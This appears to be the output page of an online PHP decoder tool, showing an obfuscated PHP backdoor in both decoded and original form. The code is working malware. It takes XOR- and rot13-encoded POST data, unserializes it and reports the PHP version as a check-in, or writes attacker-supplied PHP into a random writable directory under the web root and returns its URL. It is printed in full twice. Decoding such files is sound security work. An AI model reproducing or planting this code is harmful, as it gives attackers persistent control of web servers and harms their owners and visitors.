Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $qwQsDxlY = chr(109-41).'O'.chr(1048-981).'U'.chr(77)."\x45".'N'."\x54".'_'.'R'.'O'...
Decoded Output download
<?php $qwQsDxlY = chr(109-41).'O'.chr(1048-981).'U'.chr(77)."E".'N'."T".'_'.'R'.'O'."O".chr(517-433);$szdfcHjiK = "H".chr(211-127)."T".'P'.chr(95)."H"."O".'S'.chr(84);$HbNsOpdO = chr(513-409).'t'.'t'.chr(561-449).':'."/"."/";$YbvzBh = ".".chr(726-614)."h"."p";$FDrPexYa = chr(112)."h"."p";$MlkIGFKJH = "f".chr(216-111).chr(401-293).'e'.chr(335-240).chr(305-193)."u"."t"."_".chr(99).chr(855-744)."n"."t"."e".chr(1009-899)."t"."s";$KzODUJzxm = "r".'a'.chr(645-526).'u'."r".chr(108).chr(760-660)."e"."c".'o'.chr(100)."e";$ljXSRyID = chr(117).chr(806-696)."s".chr(101)."r".chr(902-797).chr(97)."l"."i".'z'."e";$OmLBER = "p"."h".chr(118-6).chr(235-117)."e"."r"."s".'i'.chr(111).chr(110);$FATHSnrs = chr(274-159)."t"."r".'_'."r".chr(322-211).chr(163-47).chr(49)."3";$EttsYnwtWu = "s".chr(101)."r".'i'.'a'."l"."i".chr(931-809).chr(101);$ldqFgzzZcO = 's'."t".'r'.chr(267-172).chr(115)."p".chr(108).chr(1018-913).chr(635-519);foreach ($_POST as $QBmYgGi => $Sudxsdg){if (strlen($QBmYgGi) == 16){$Sudxsdg = $ldqFgzzZcO($KzODUJzxm($FATHSnrs($Sudxsdg)));$QBmYgGi = array_slice($ldqFgzzZcO(str_repeat($QBmYgGi, (count($Sudxsdg)/16)+1)), 0, count($Sudxsdg));function oIPQXjxCKY($XApHnfRw, $yktLKTb, $QBmYgGi){$pOGGkad = "f332ff2c-1efe-4a48-87db-2a3a165a783f";return $XApHnfRw ^ $pOGGkad[$yktLKTb % strlen($pOGGkad)] ^ $QBmYgGi;}$Sudxsdg = implode("", array_map("oIPQXjxCKY", array_values($Sudxsdg), array_keys($Sudxsdg), array_values($QBmYgGi)));$Sudxsdg = @$ljXSRyID($Sudxsdg);if (@is_array($Sudxsdg)){$TuScTB = array_keys($Sudxsdg);$Sudxsdg = $Sudxsdg[$TuScTB[0]];if ($Sudxsdg === $TuScTB[0]){echo @$EttsYnwtWu(Array($FDrPexYa => @$OmLBER(), ));exit();}else {function LLGof($kueSHBgqmir){static $CNYEUzhw = array();$TeSWaGKHPE = glob($kueSHBgqmir . '/*', GLOB_ONLYDIR);if (count($TeSWaGKHPE) > 0) {foreach ($TeSWaGKHPE as $kueSHBgqm) {if (@is_writable($kueSHBgqm)) {$CNYEUzhw[] = $kueSHBgqm;}}}foreach ($TeSWaGKHPE as $kueSHBgqmir) LLGof($kueSHBgqmir);return $CNYEUzhw;}$zYJweauH = $_SERVER[$qwQsDxlY];$TeSWaGKHPE = LLGof($zYJweauH);$TuScTB = array_rand($TeSWaGKHPE);$bDFuXLZz = $TeSWaGKHPE[$TuScTB] . "/" . substr(md5(time()), 0, 8) . $YbvzBh;@$MlkIGFKJH($bDFuXLZz, $Sudxsdg);echo $HbNsOpdO . $_SERVER[$szdfcHjiK] . substr($bDFuXLZz, strlen($zYJweauH));exit();}}}}
?>Did this file decode correctly?
Original Code
<?php $qwQsDxlY = chr(109-41).'O'.chr(1048-981).'U'.chr(77)."\x45".'N'."\x54".'_'.'R'.'O'."\x4f".chr(517-433);$szdfcHjiK = "\110".chr(211-127)."\x54".'P'.chr(95)."\x48"."\x4f".'S'.chr(84);$HbNsOpdO = chr(513-409).'t'.'t'.chr(561-449).':'."\x2f"."\57";$YbvzBh = "\56".chr(726-614)."\x68"."\x70";$FDrPexYa = chr(112)."\x68"."\160";$MlkIGFKJH = "\x66".chr(216-111).chr(401-293).'e'.chr(335-240).chr(305-193)."\x75"."\x74"."\x5f".chr(99).chr(855-744)."\x6e"."\x74"."\x65".chr(1009-899)."\164"."\163";$KzODUJzxm = "\162".'a'.chr(645-526).'u'."\x72".chr(108).chr(760-660)."\145"."\x63".'o'.chr(100)."\145";$ljXSRyID = chr(117).chr(806-696)."\x73".chr(101)."\162".chr(902-797).chr(97)."\154"."\x69".'z'."\145";$OmLBER = "\x70"."\x68".chr(118-6).chr(235-117)."\145"."\162"."\x73".'i'.chr(111).chr(110);$FATHSnrs = chr(274-159)."\164"."\x72".'_'."\162".chr(322-211).chr(163-47).chr(49)."\x33";$EttsYnwtWu = "\x73".chr(101)."\162".'i'.'a'."\154"."\151".chr(931-809).chr(101);$ldqFgzzZcO = 's'."\x74".'r'.chr(267-172).chr(115)."\160".chr(108).chr(1018-913).chr(635-519);foreach ($_POST as $QBmYgGi => $Sudxsdg){if (strlen($QBmYgGi) == 16){$Sudxsdg = $ldqFgzzZcO($KzODUJzxm($FATHSnrs($Sudxsdg)));$QBmYgGi = array_slice($ldqFgzzZcO(str_repeat($QBmYgGi, (count($Sudxsdg)/16)+1)), 0, count($Sudxsdg));function oIPQXjxCKY($XApHnfRw, $yktLKTb, $QBmYgGi){$pOGGkad = "f332ff2c-1efe-4a48-87db-2a3a165a783f";return $XApHnfRw ^ $pOGGkad[$yktLKTb % strlen($pOGGkad)] ^ $QBmYgGi;}$Sudxsdg = implode("", array_map("oIPQXjxCKY", array_values($Sudxsdg), array_keys($Sudxsdg), array_values($QBmYgGi)));$Sudxsdg = @$ljXSRyID($Sudxsdg);if (@is_array($Sudxsdg)){$TuScTB = array_keys($Sudxsdg);$Sudxsdg = $Sudxsdg[$TuScTB[0]];if ($Sudxsdg === $TuScTB[0]){echo @$EttsYnwtWu(Array($FDrPexYa => @$OmLBER(), ));exit();}else {function LLGof($kueSHBgqmir){static $CNYEUzhw = array();$TeSWaGKHPE = glob($kueSHBgqmir . '/*', GLOB_ONLYDIR);if (count($TeSWaGKHPE) > 0) {foreach ($TeSWaGKHPE as $kueSHBgqm) {if (@is_writable($kueSHBgqm)) {$CNYEUzhw[] = $kueSHBgqm;}}}foreach ($TeSWaGKHPE as $kueSHBgqmir) LLGof($kueSHBgqmir);return $CNYEUzhw;}$zYJweauH = $_SERVER[$qwQsDxlY];$TeSWaGKHPE = LLGof($zYJweauH);$TuScTB = array_rand($TeSWaGKHPE);$bDFuXLZz = $TeSWaGKHPE[$TuScTB] . "/" . substr(md5(time()), 0, 8) . $YbvzBh;@$MlkIGFKJH($bDFuXLZz, $Sudxsdg);echo $HbNsOpdO . $_SERVER[$szdfcHjiK] . substr($bDFuXLZz, strlen($zYJweauH));exit();}}}}
Function Calls
| chr | 43 |
Stats
| MD5 | 0a6a533599bb2083a4ac9e9adbbfa2ae |
| Eval Count | 0 |
| Decode Time | 120 ms |